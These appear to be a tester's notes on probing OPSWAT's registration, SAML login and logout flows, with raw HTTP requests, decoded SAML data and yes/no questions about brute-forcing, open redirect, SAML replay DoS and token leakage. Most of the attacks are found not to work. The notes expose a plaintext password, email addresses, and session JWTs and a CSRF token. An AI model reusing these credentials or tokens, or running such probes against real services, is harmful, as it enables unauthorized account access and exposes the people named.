Invitation Link ℹ️
When a user is invited, the link has the following format:
https://u43084663.ct.sendgrid.net/ls/click?upn=u001.pq-2FtAUnoIkl-2Fvf5JSWHrvUsL-2B2x3hu55FkRCsuYzHHLXwXk5usXYWCnMsjhYzOMevrwE_pUNb9Vcl0uAUmpgSUfMz7UHE6yg7jGURiLAlexrEQzdkOiSPKXLSduQfrht40Fvw83Rus3IgZ3DazVQzNUmOwHFTz6ZIvmki16893nShmldF5BO-2BOXxLMw-2BOrOGPE05jYQ4R740dkKWXCaQPamXz6JnxmJuzQfL0Oz4mTlRvARLIq2QCV-2BUruar1hyDedfYcxQgKRQtUOcvAt15XitHfrw-3D-3D
This URL is a tracking link generated by SendGrid - a popular email delivery service - used to monitor when someone clicks a link in an email.
As we can see, there are some characters that could be URL encoded such as 2F
, 2B
and 3D
. Replace -
with %
and decode the value of the upn
parameter, we have the following value:
u001.pq/tAUnoIkl/vf5JSWHrvUsL+2x3hu55FkRCsuYzHHLXwXk5usXYWCnMsjhYzOMevrwE_pUNb9Vcl0uAUmpgSUfMz7UHE6yg7jGURiLAlexrEQzdkOiSPKXLSduQfrht40Fvw83Rus3IgZ3DazVQzNUmOwHFTz6ZIvmki16893nShmldF5BO+OXxLMw+OrOGPE05jYQ4R740dkKWXCaQPamXz6JnxmJuzQfL0Oz4mTlRvARLIq2QCV+Uruar1hyDedfYcxQgKRQtUOcvAt15XitHfrw==
However, there are nothing that can be extracted from this piece of information.
The link will redirect to the https://id.opswat.com/register
URL.
Activate Account & Resend Email ℹ️, ❌
The link that was sent to the user’s email address after registration has the following format:
https://id.opswat.com/active?
code=599493&
email=H4sIAAAAAAAAAwXBCQHAMAgDQEsl0EHk8BT%2FEnYXNkqWuO%2FzE5nBaeaHWunnfufmrdTorA4ARpnFaaNBW3%2B9DVXwQAAAAA%3D%3D&
app=appMyOPSWAT0001&
SAMLRequest=fZJdT8IwFIb%2FytL7bd0IFzZsZkiMGAiLm5pwV0aFhvXDnjOUf283NGJiuOjFOT3vydMnnQBXrWVFh3v9JN47ARh8qlYD6y8y0jnNDAcJTHMlgGHDqmK5YGlEGQcQDqXR5CJir2esM2ga05JgPsuI3IbdIz9M04MarcuRbG1jSPAiHPitGfEBPwfQibkG5Bp9i6bjkKZhktb0ho0TliRrEsw8ttQch9Qe0QKLY7mNjIUPjlFjVNyandS33NrMn%2BVpVVavRU0pTUhwb1wjBgMZQdcJEpTflFOpt1Lvrj9pcx4C9lDXZViuqpoExY%2BaO6OhU8JVwh1lI56fFr%2BA3MpjEqlTuBHIL1l7j2nMG4hJPukLNkhwPanieB2n73ivb8MoExolnkj%2Br5RJfLE8P1d%2F%2F0L%2BBQ%3D%3D&
RelayState=%2F&
SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&
Signature=eb4QWLlixcdNKAdT1npbfQHh6CHMExpa%2ByOUaWLwNSmMmtXQEbCF0UByO44%2FF7VgrehWhJ2T81wDiDdW2TZrl9HU7BOowXyecfjm4puMA8qFjD1PAY2SAYULp3iQgAVYwyaAZ9UWy8Vgvn%2BGM8fsUv0FCYgIA2fI4Z0OuFTXGqMA28KSE8mzEpKYvcFhAtX93akOX5zQPdAnpru9SFfTQkC3GbebJx1n6c9w0QImYTnO4Dzf9rxwMlIL8GTldUH3EXInaHsnLI09MVK8CUTh20aCAqHq5lqQh%2F48q%2BP%2Fwy2B2UrME1unYIQ1hrQtu1qTJcTgoD8z4DVbaO4Xo17tKg%3D%3D
As we can see, there are some information:
-
Code (6 digits)
-
Email is encrypted someway by the server:
H4sIAAAAAAAAAwXBCQHAMAgDQEsl0EHk8BT%2FEnYXNkqWuO%2FzE5nBaeaHWunnfufmrdTorA4ARpnFaaNBW3%2B9DVXwQAAAAA%3D%3D
-
App ID
-
SAML request. The decoded version:
<samlp:AuthnRequest xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="id-uJakB2km3ZP3ilpco" Version="2.0" IssueInstant="2025-02-12T09:51:11Z" Destination="https://id.opswat.com/login?app=appMyOPSWAT0001" ForceAuthn="true" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" AssertionConsumerServiceURL="https://apiv1.my-beta.opswat.com/saml2/acs/"> <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"> https://id.opswat.com </saml:Issuer> </samlp:AuthnRequest>
-
Relay state is
/
(possible open redirect?) -
Signature algorithm is an URL
-
Signature
After clicking this link, there will be a POST request sent to the /confirm
endpoint like this:
POST /confirm HTTP/2
Host: id-api.opswat.com
Cookie: _ga=GA1.1.2058617255.1737689180; _clck=tpsiu8%7C2%7Cft5%7C0%7C1850; _ga_7V2H8MYDP4=GS1.1.1738653657.2.1.1738653658.0.0.0; __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined; _ga_54P2EERRN7=GS1.1.1739417684.1.1.1739439650.0.0.0
Content-Length: 1014
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://id.opswat.com
Referer: https://id.opswat.com/
{"code":"599493","email":"H4sIAAAAAAAAAwXBCQHAMAgDQEsl0EHk8BT/EnYXNkqWuO/zE5nBaeaHWunnfufmrdTorA4ARpnFaaNBW3+9DVXwQAAAAA==","app":"appMyOPSWAT0001","SAMLRequest":"fZJdT8IwFIb/ytL7bd0IFzZsZkiMGAiLm5pwV0aFhvXDnjOUf283NGJiuOjFOT3vydMnnQBXrWVFh3v9JN47ARh8qlYD6y8y0jnNDAcJTHMlgGHDqmK5YGlEGQcQDqXR5CJir2esM2ga05JgPsuI3IbdIz9M04MarcuRbG1jSPAiHPitGfEBPwfQibkG5Bp9i6bjkKZhktb0ho0TliRrEsw8ttQch9Qe0QKLY7mNjIUPjlFjVNyandS33NrMn+VpVVavRU0pTUhwb1wjBgMZQdcJEpTflFOpt1Lvrj9pcx4C9lDXZViuqpoExY+aO6OhU8JVwh1lI56fFr+A3MpjEqlTuBHIL1l7j2nMG4hJPukLNkhwPanieB2n73ivb8MoExolnkj+r5RJfLE8P1d//0L+BQ==","RelayState":"/","SigAlg":"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256","Signature":"eb4QWLlixcdNKAdT1npbfQHh6CHMExpa+yOUaWLwNSmMmtXQEbCF0UByO44/F7VgrehWhJ2T81wDiDdW2TZrl9HU7BOowXyecfjm4puMA8qFjD1PAY2SAYULp3iQgAVYwyaAZ9UWy8Vgvn+GM8fsUv0FCYgIA2fI4Z0OuFTXGqMA28KSE8mzEpKYvcFhAtX93akOX5zQPdAnpru9SFfTQkC3GbebJx1n6c9w0QImYTnO4Dzf9rxwMlIL8GTldUH3EXInaHsnLI09MVK8CUTh20aCAqHq5lqQh/48q+P/wy2B2UrME1unYIQ1hrQtu1qTJcTgoD8z4DVbaO4Xo17tKg=="}
However, at the time I clicked this link, the code is expired, as indicated by this response:
HTTP/2 400 Bad Request
Content-Type: application/json
Content-Length: 97
...
{
"error": {
"statusCode": 400,
"code": 40051,
"name": "expiredCodeException"
}
}
Then, I click the “resend email” button and trigger the following request:
POST /resend HTTP/2
Host: id-api.opswat.com
Cookie: _ga=GA1.1.2058617255.1737689180; _clck=tpsiu8%7C2%7Cft5%7C0%7C1850; _ga_7V2H8MYDP4=GS1.1.1738653657.2.1.1738653658.0.0.0; __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined; _ga_54P2EERRN7=GS1.1.1739417684.1.1.1739439650.0.0.0
Content-Length: 1021
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://id.opswat.com
Referer: https://id.opswat.com/
{"email":"marucube35@gmail.com","query":{"app":"appMyOPSWAT0001","SAMLRequest":"fZJdT8IwFIb/ytL7bd0IFzZsZkiMGAiLm5pwV0aFhvXDnjOUf283NGJiuOjFOT3vydMnnQBXrWVFh3v9JN47ARh8qlYD6y8y0jnNDAcJTHMlgGHDqmK5YGlEGQcQDqXR5CJir2esM2ga05JgPsuI3IbdIz9M04MarcuRbG1jSPAiHPitGfEBPwfQibkG5Bp9i6bjkKZhktb0ho0TliRrEsw8ttQch9Qe0QKLY7mNjIUPjlFjVNyandS33NrMn+VpVVavRU0pTUhwb1wjBgMZQdcJEpTflFOpt1Lvrj9pcx4C9lDXZViuqpoExY+aO6OhU8JVwh1lI56fFr+A3MpjEqlTuBHIL1l7j2nMG4hJPukLNkhwPanieB2n73ivb8MoExolnkj+r5RJfLE8P1d//0L+BQ==","RelayState":"/","SigAlg":"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256","Signature":"eb4QWLlixcdNKAdT1npbfQHh6CHMExpa+yOUaWLwNSmMmtXQEbCF0UByO44/F7VgrehWhJ2T81wDiDdW2TZrl9HU7BOowXyecfjm4puMA8qFjD1PAY2SAYULp3iQgAVYwyaAZ9UWy8Vgvn+GM8fsUv0FCYgIA2fI4Z0OuFTXGqMA28KSE8mzEpKYvcFhAtX93akOX5zQPdAnpru9SFfTQkC3GbebJx1n6c9w0QImYTnO4Dzf9rxwMlIL8GTldUH3EXInaHsnLI09MVK8CUTh20aCAqHq5lqQh/48q+P/wy2B2UrME1unYIQ1hrQtu1qTJcTgoD8z4DVbaO4Xo17tKg==","activateErrorCode":"40051","activateErrorTraceID":"1-67adbe62-3e529fea5ff2b27c077f0a5f"}}
After that, a new link is sent to my email:
https://id.opswat.com/active?
code=854235&
email=H4sIAAAAAAAAAwXBCQHAMAgDQEsl0EHk8BT%2FEnYXNkqWuO%2FzE5nBaeaHWunnfufmrdTorA4ARpnFaaNBW3%2B9DVXwQAAAAA%3D%3D&
app=appMyOPSWAT0001&
SAMLRequest=fZJdT8IwFIb%2FytL7bd0IFzZsZkiMGAiLm5pwV0aFhvXDnjOUf283NGJiuOjFOT3vydMnnQBXrWVFh3v9JN47ARh8qlYD6y8y0jnNDAcJTHMlgGHDqmK5YGlEGQcQDqXR5CJir2esM2ga05JgPsuI3IbdIz9M04MarcuRbG1jSPAiHPitGfEBPwfQibkG5Bp9i6bjkKZhktb0ho0TliRrEsw8ttQch9Qe0QKLY7mNjIUPjlFjVNyandS33NrMn%2BVpVVavRU0pTUhwb1wjBgMZQdcJEpTflFOpt1Lvrj9pcx4C9lDXZViuqpoExY%2BaO6OhU8JVwh1lI56fFr%2BA3MpjEqlTuBHIL1l7j2nMG4hJPukLNkhwPanieB2n73ivb8MoExolnkj%2Br5RJfLE8P1d%2F%2F0L%2BBQ%3D%3D&
RelayState=%2F&
SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&
Signature=eb4QWLlixcdNKAdT1npbfQHh6CHMExpa%2ByOUaWLwNSmMmtXQEbCF0UByO44%2FF7VgrehWhJ2T81wDiDdW2TZrl9HU7BOowXyecfjm4puMA8qFjD1PAY2SAYULp3iQgAVYwyaAZ9UWy8Vgvn%2BGM8fsUv0FCYgIA2fI4Z0OuFTXGqMA28KSE8mzEpKYvcFhAtX93akOX5zQPdAnpru9SFfTQkC3GbebJx1n6c9w0QImYTnO4Dzf9rxwMlIL8GTldUH3EXInaHsnLI09MVK8CUTh20aCAqHq5lqQh%2F48q%2BP%2Fwy2B2UrME1unYIQ1hrQtu1qTJcTgoD8z4DVbaO4Xo17tKg%3D%3D
Almost all of the parameters are the same except the code
.
Question: Can I brute-force the code for bypass email verification and activate the account?
Answer: No.
Because we can not forge the
By clicking this link, a new /confirm
request is sent. This time, the request is succeeded and I can log in to the account.
Question: Can I use
RelayState
parameter for open redirect?Answer: No.
As the
RelayState
is used by the identity provider (IdP -id.opswat.com
) to signal to the service provider (SP -my-beta.opswat.com
) what URL the SP should redirect to after successful sign on (Reference: single sign on - What is exactly RelayState parameter used in SSO (Ex. SAML)? - Stack Overflow), I think that I can use it for open redirect.However, even though the value will be used in the subsequent login-related requests below, especially after a request is sent to the
/auth-successfully
endpoint, it does not have any impact in redirection.
SAML Authentication
Login Flow ℹ️, ❌
The authentication flow when typing https://my-beta.opswat.com
into the URL bar:
GET /saml2/login/ HTTP/2
Host: apiv1.my-beta.opswat.com
Cache-Control: max-age=0
Authorization: Bearer
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://my-beta.opswat.com
Referer: https://my-beta.opswat.com/
Its response is a server-side redirect:
HTTP/2 302 Found
Date: Thu, 13 Feb 2025 08:51:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Location: https://id.opswat.com/login?app=appMyOPSWAT0001&SAMLRequest=fZJdS8MwFIb%2FSsl927QykbBWqmM42FhZO4XdZV3cgs2HOaeb9dfbdooTZBe5OCfnPTx5yBi4qi3LGjzolXhvBKD3oWoNrL9ISOM0MxwkMM2VAIYVK7LFnMUBZRxAOJRGk4uIvZ6xzqCpTE282SQhcudPj%2BJTKJOLW7d50%2Bv2RLxn4aDbmpAu0M0BNGKmAbnGrkXjkU9jP7op6R0bRYxGG%2BJNOmypOQ6pA6IFFoZyFxgLJ45BZVRYm73U99zapDuLdpkXL1lJKY2INzWuEoOBhKBrBPHyb8oHqXdS768%2FaXseAvZUlrmfL4uSeNmPmkejoVHCFcIdZSXWq%2FkvILfyGAWq9bcC%2BSVr7zEOeQUhScd9wQYJridVHK%2Fj9J3O6%2BswyoRGiS1J%2F5UyDi%2BWp%2Bfq719IvwA%3D&RelayState=%2F&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=X7Jz6n%2BrhShBL5hH6wDfnQw1U4I8GS6dkSSFN%2BcAICphHFKI1hwKWvwf8EpES4CBwgPMrADLBsjZ3gSqJiMH4ooxKnqVHB7o%2BnLLnG2viXCtBZEvOhx%2FgV5NNHqCKSw1Hx7jCRgQ5fdsRfg0l6wZ7VM7TiGG74ZOPn21XyLWxbT1zjFvf3t1I7eg8elAj419ue770CbOE%2FTUKM03MrAUaKP2mF8yeHw7DI9cqJlvpBLAdtDhI2OmEYjkDh%2FSApQMeOj5S2FKKpPhspwrrMGwUdrXyAuBmTbzRHbpPzYI%2F52DomQo%2B6TPZaQm7CvAQApr6zEFT8XZ8fMn4XfUdaMVBw%3D%3D
The redirect request:
GET /login?app=appMyOPSWAT0001&SAMLRequest=fZJRb4IwEMe%2FCuk7UDEuSyMsTGPmopEJm4lvFTpthLbrHW58%2BwG6zCWLD3246%2F0vv%2F7SMfCqNCyu8aDW4qMWgM5XVSpg3UVIaquY5iCBKV4JYJizNF4uWOBRxgGERakVuYqY2xljNepcl8SZT0MiCzefZfT5ONkWzXJzvCtfGuK8CQvt1pC0gXYOoBZzBcgVti0ajFwauINhRu%2FZcMSGdEucaYstFcc%2BdUA0wHxfFp428MnRy3Xll3ov1QM3JmzPslkl6SbOKKUD4sy0zUVvICRoa0Gc5EL5KFUh1f72k3bnIWBPWZa4ySrNiBP%2FqJloBXUlbCrsSebidb34BeRGngZe1bg7gfyatfMY%2BDwHn0TjrmC9BNuRVhxv43Sd1ut7P8qEQokNif6VMvavlkfn6u9fiL4B&RelayState=%2F&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=q5gvY7IQLLQfoa0chZPpR0uRGArAD84Y6zuOFjw13n5KqvB1o0EPQw%2Flg1cY0p0RKwiSHkuopGyH2FwtVlANyAgVSjC6GA%2BQOt83tDEWgMG3F2SOh4NmSnMkhaxHFi%2BbjmHObhB%2FRr8n41uJL2B7kj4Kh8Hys5gFMFJuWsBeEgVd07Hu5tuPLvsnZQ%2BKeq7BxjbH1dQBb7hx6gGWiuhpMdLkyHBmpr5Q0%2B0xvTmeUweKHHAPUK8AQ4JZmAMhCFMERKy0F1gVu8nPqXwNtIqKP8TYEOGFjJ0VGUoKJMmIwaA%2BRG5ZYLrVBaWAKItj1dxCvwhdFg%2FK9mmFTy4PyB9Enw%3D%3D HTTP/2
Host: id.opswat.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: null
As we can see, there are some parameters that are similar with the /active
URL above (except the code
and the email
).
Somehow, the above redirect request is sent twice.
After that is the following request:
GET /current-user?SAMLRequest=fZJRb4IwEMe%2FCuk7UDEuSyMsTGPmopEJm4lvFTpthLbrHW58%2BwG6zCWLD3246%2F0vv%2F7SMfCqNCyu8aDW4qMWgM5XVSpg3UVIaquY5iCBKV4JYJizNF4uWOBRxgGERakVuYqY2xljNepcl8SZT0MiCzefZfT5ONkWzXJzvCtfGuK8CQvt1pC0gXYOoBZzBcgVti0ajFwauINhRu%2FZcMSGdEucaYstFcc%2BdUA0wHxfFp428MnRy3Xll3ov1QM3JmzPslkl6SbOKKUD4sy0zUVvICRoa0Gc5EL5KFUh1f72k3bnIWBPWZa4ySrNiBP%2FqJloBXUlbCrsSebidb34BeRGngZe1bg7gfyatfMY%2BDwHn0TjrmC9BNuRVhxv43Sd1ut7P8qEQokNif6VMvavlkfn6u9fiL4B&appId=appMyOPSWAT0001&RelayState=%2F HTTP/2
Host: id-api.opswat.com
Cookie: _ga=GA1.1.2058617255.1737689180; _clck=tpsiu8%7C2%7Cft5%7C0%7C1850; _ga_7V2H8MYDP4=GS1.1.1738653657.2.1.1738653658.0.0.0; __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined; _ga_54P2EERRN7=GS1.1.1739417684.1.1.1739434877.0.0.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://id.opswat.com
Referer: https://id.opswat.com/
The SAMLRequest
is the same with the redirect request. Also, the Signature
parameter is missing from this request and at this time, the UI shows the login page.
Response body of the above request:
{"message":"not found"}
After type in the email, there is POST request:
POST /IDP/lookup HTTP/2
Host: id-api.opswat.com
Cookie: _ga=GA1.1.2058617255.1737689180; _clck=tpsiu8%7C2%7Cft5%7C0%7C1850; _ga_7V2H8MYDP4=GS1.1.1738653657.2.1.1738653658.0.0.0; __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined; _ga_54P2EERRN7=GS1.1.1739417684.1.1.1739434877.0.0.0
Content-Length: 995
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://id.opswat.com
Referer: https://id.opswat.com/
{"email":"quan.m.le@opswat.com","location":"https://id.opswat.com/login?app=appMyOPSWAT0001&SAMLRequest=fZJRb4IwEMe%2FCuk7UDEuSyMsTGPmopEJm4lvFTpthLbrHW58%2BwG6zCWLD3246%2F0vv%2F7SMfCqNCyu8aDW4qMWgM5XVSpg3UVIaquY5iCBKV4JYJizNF4uWOBRxgGERakVuYqY2xljNepcl8SZT0MiCzefZfT5ONkWzXJzvCtfGuK8CQvt1pC0gXYOoBZzBcgVti0ajFwauINhRu%2FZcMSGdEucaYstFcc%2BdUA0wHxfFp428MnRy3Xll3ov1QM3JmzPslkl6SbOKKUD4sy0zUVvICRoa0Gc5EL5KFUh1f72k3bnIWBPWZa4ySrNiBP%2FqJloBXUlbCrsSebidb34BeRGngZe1bg7gfyatfMY%2BDwHn0TjrmC9BNuRVhxv43Sd1ut7P8qEQokNif6VMvavlkfn6u9fiL4B&RelayState=%2F&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=q5gvY7IQLLQfoa0chZPpR0uRGArAD84Y6zuOFjw13n5KqvB1o0EPQw%2Flg1cY0p0RKwiSHkuopGyH2FwtVlANyAgVSjC6GA%2BQOt83tDEWgMG3F2SOh4NmSnMkhaxHFi%2BbjmHObhB%2FRr8n41uJL2B7kj4Kh8Hys5gFMFJuWsBeEgVd07Hu5tuPLvsnZQ%2BKeq7BxjbH1dQBb7hx6gGWiuhpMdLkyHBmpr5Q0%2B0xvTmeUweKHHAPUK8AQ4JZmAMhCFMERKy0F1gVu8nPqXwNtIqKP8TYEOGFjJ0VGUoKJMmIwaA%2BRG5ZYLrVBaWAKItj1dxCvwhdFg%2FK9mmFTy4PyB9Enw%3D%3D"}
The response is irrelevant to the flow:
HTTP/2 404 Not Found
Content-Type: application/json
Content-Length: 60
{"code":40404,"message":"User is not part of a custom IDP."}
Next request is the login request:
POST /login HTTP/2
Host: id-api.opswat.com
Cookie: _ga=GA1.1.2058617255.1737689180; _clck=tpsiu8%7C2%7Cft5%7C0%7C1850; _ga_7V2H8MYDP4=GS1.1.1738653657.2.1.1738653658.0.0.0; __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined; _ga_54P2EERRN7=GS1.1.1739417684.1.1.1739434877.0.0.0
Content-Length: 533
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://id.opswat.com
Referer: https://id.opswat.com/
{"SAMLRequest":"fZJRb4IwEMe/Cuk7UDEuSyMsTGPmopEJm4lvFTpthLbrHW58+wG6zCWLD3246/0vv/7SMfCqNCyu8aDW4qMWgM5XVSpg3UVIaquY5iCBKV4JYJizNF4uWOBRxgGERakVuYqY2xljNepcl8SZT0MiCzefZfT5ONkWzXJzvCtfGuK8CQvt1pC0gXYOoBZzBcgVti0ajFwauINhRu/ZcMSGdEucaYstFcc+dUA0wHxfFp428MnRy3Xll3ov1QM3JmzPslkl6SbOKKUD4sy0zUVvICRoa0Gc5EL5KFUh1f72k3bnIWBPWZa4ySrNiBP/qJloBXUlbCrsSebidb34BeRGngZe1bg7gfyatfMY+DwHn0TjrmC9BNuRVhxv43Sd1ut7P8qEQokNif6VMvavlkfn6u9fiL4B","appId":"appMyOPSWAT0001","email":"quan.m.le@opswat.com","password":"Admin@123123123","RelayState":"/"}
The SAML Request is the same and the RelayState
is decoded.
Its response:
HTTP/2 200 OK
Content-Type: application/json
Vary: Accept-Encoding
Date: Thu, 13 Feb 2025 08:58:20 GMT
Set-Cookie: __opswat-session-login=[REDACTED]; Max-Age=14400; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: __opswat-refresh-login=[REDACTED]; Max-Age=14400; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: __opswat-payload-login=[REDACTED]; Max-Age=14400; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: __opswat-login=true; Max-Age=14400; Domain=opswat.com; Path=/; Secure; SameSite=Lax
Content-Security-Policy: frame-ancestors 'self' *.opswat.com;
X-Frame-Options: SAMEORIGIN
Access-Control-Allow-Origin: https://id.opswat.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: userpid, Authorization, Content-Type, Accept, details, orgid
Access-Control-Expose-Headers: x-amzn-trace-id
{"user":{"consent":{"MA":true,"MDC":true,"SKL":true,"Allbound":true,"OCM":true,"MyOPSWAT":true,"OPSWATStore":true,"AS":true,"MDGateway":true,"Impartner":true},"email":"quan.m.le@opswat.com","given_name":"Quan","isMfaForced":false,"user_id":"aa4fe501-c0e1-4e23-af74-3a3856fec89e"},"loginResponse":{"id":"_4ca4d793-c2ae-4b90-82d8-014e822be803","context":"[BASE64 ENCODED OF THE SAML RESPONSE]","entityEndpoint":"https://apiv1.my-beta.opswat.com/saml2/acs/","acsMethod":"POST","relayState":"/"}}
As we can see:
- There are some cookies for the
id-api.opswat.com
domain. - The response body has a field named
context
that contains the base64 encoded of the SAML Response that can be used for sending to the ACS URL (the value has been replaced with the placeholder for shortening the note).
Note
I don’t know what is the purpose of the cookies.
The SAML Response then will be sent to the /saml/acs
endpoint. The response when login successfully has the tokens in a server-side redirect request:
HTTP/2 302 Found
Date: Thu, 13 Feb 2025 02:26:41 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Location: https://my.opswat.com/auth-successfully?token=eyJhbGciOiJIUzI1NiIsImtpZCI6IjEiLCJ0eXAiOiJKV1QifQ.eyJpYXQiOjE3Mzk0MTM2MDEsIm93bmVyIjoiT1BTV0FUIiwiZXhwIjoxNzM5NDI4MDAxLCJ0b2tlbiI6IjI1SDY1aWg4OFlmZSIsInR5cGUiOiJhY2Nlc3MiLCJ1c2VyX2lkIjoiODg5YWI4NDEtYWIzOC00MTY4LThiODUtMTI2MGViMWVlMzU0IiwiaXNfc3RhZmYiOmZhbHNlfQ.hCkOHHgJqGPYp-5Rk4ByDHwoAYRVUshyk8mwv8IlY0c&refresh=eyJhbGciOiJIUzI1NiIsImtpZCI6IjEiLCJ0eXAiOiJKV1QifQ.eyJpYXQiOjE3Mzk0MTM2MDEsIm93bmVyIjoiT1BTV0FUIiwiZXhwIjoxNzM5NDI4MDAxLCJ0b2tlbiI6IjI1SDY1aWg4OFlmZSIsInR5cGUiOiJyZWZyZXNoIiwidXNlcl9pZCI6Ijg4OWFiODQxLWFiMzgtNDE2OC04Yjg1LTEyNjBlYjFlZTM1NCIsImlzX3N0YWZmIjpmYWxzZSwiY3NyZlRva2VuIjoiRDYyUkk4MXNSRFlJVEZyYjNRcWlGYzFZRnY2dWpKQUI0U0V4NHZuczhobTdZMDF1azBqYVhVRHRGNVFjRlAwdiJ9.Ao7c9gcseOJF6jOjGmv-p7k5FCEVJn5pfWyfrJhp124&csrf=D62RI81sRDYITFrb3QqiFc1YFv6ujJAB4SEx4vns8hm7Y01uk0jaXUDtF5QcFP0v&ocm=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJhY2NvdW50SWQiOiI5MWZhYWFjNzY1N2NhYzlmNjFjMDZhZmMyNTAyZmYzMCIsInVzZXJUb2tlbiI6ZmFsc2UsImdvZHZpZXciOmZhbHNlLCJleHAiOjE3Mzk0MTcyMDAsInVzZXJJZCI6ImFhNGZlNTAxLWMwZTEtNGUyMy1hZjc0LTNhMzg1NmZlYzg5ZSIsImlhdCI6MTczOTQxMzYwMH0.BYdpHHrc2tA9O9gZc-YKWMUwPSO12J4lAZA5gVmA2LjHNXYQ1G2QcrwHOsBbT2p5aTpI6D0WjHU75b-nzrYEjg
After receiving the above response, the tokens will be available for use by the client side.
Question: Can I use
RelayState
for open redirect?Answer: No.
Maybe because the service provider (
my-beta.opswat.com
) does not use this value.
As the RelayState
is not dynamically generated, the SAML Response can still be used again, which is abnormal as in some other products I can not do this. However, when sending the SAML Response to the ACS URL again, the current logged-in user will be prompt to log in again (possible DoS?).
Question: Can I send the fake SAML Response without signatures repeatedly to conduct DoS attack?
Answer: No.
I believe the cause of the abnormal behavior is when we resend the SAML Response, we instruct the server to issue a new token. Consequently, any subsequent requests using the old token become invalid.
Question: Can I forge a server redirect request (the
/auth-successfully
endpoint) so the server accept my fake tokens for using?Answer: No.
Because the tokens are generated by the server side when the SAML Response is sent to the ACS URL.
However, the tokens in URL make me think about finding a way to leak them.
Question: Can I leak the tokens in the
/auth-successfully
endpoint?Answer: No.
We can only leak the tokens if they are remained on the URL bar. However, the
/auth-successfully
endpoint will be redirected to the/home
endpoint immediately. Due to this, the tokens can not be leaked via common scenarios such as via theReferer
header when user click an attacker-owned link or when the application loads an attacker-owned resource (image, font, css, etc).Reference: Session token in URL - PortSwigger
Logout Flow ℹ️, ❌
When hit the “Sign Out” button, the application sends this request:
GET /saml2/logout/ HTTP/2
Host: apiv1.my.opswat.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IjEiLCJ0eXAiOiJKV1QifQ.eyJpYXQiOjE3Mzk1MjMyMzcsIm93bmVyIjoiT1BTV0FUIiwiZXhwIjoxNzM5NTM3NjM3LCJ0b2tlbiI6InBrQzhQNENXWnJZZSIsInR5cGUiOiJhY2Nlc3MiLCJ1c2VyX2lkIjoiYmRlZDNjNWItOWE0ZC00OTcxLWI2NTItZWMwMTQ4N2I5NjIyIiwiaXNfc3RhZmYiOmZhbHNlfQ.qqmUFjzdAm9KUxyVZVxpvfUywEhZGwLc2IPNz50yc6M
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://my.opswat.com
Referer: https://my.opswat.com/
As we can see, this request is sent with a JWT.
Question: Can I use a fake token to conduct DoS attack on a logged-in user?
Answer: No.
The response is a server side redirect:
HTTP/2 302 Found
Date: Fri, 14 Feb 2025 09:04:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
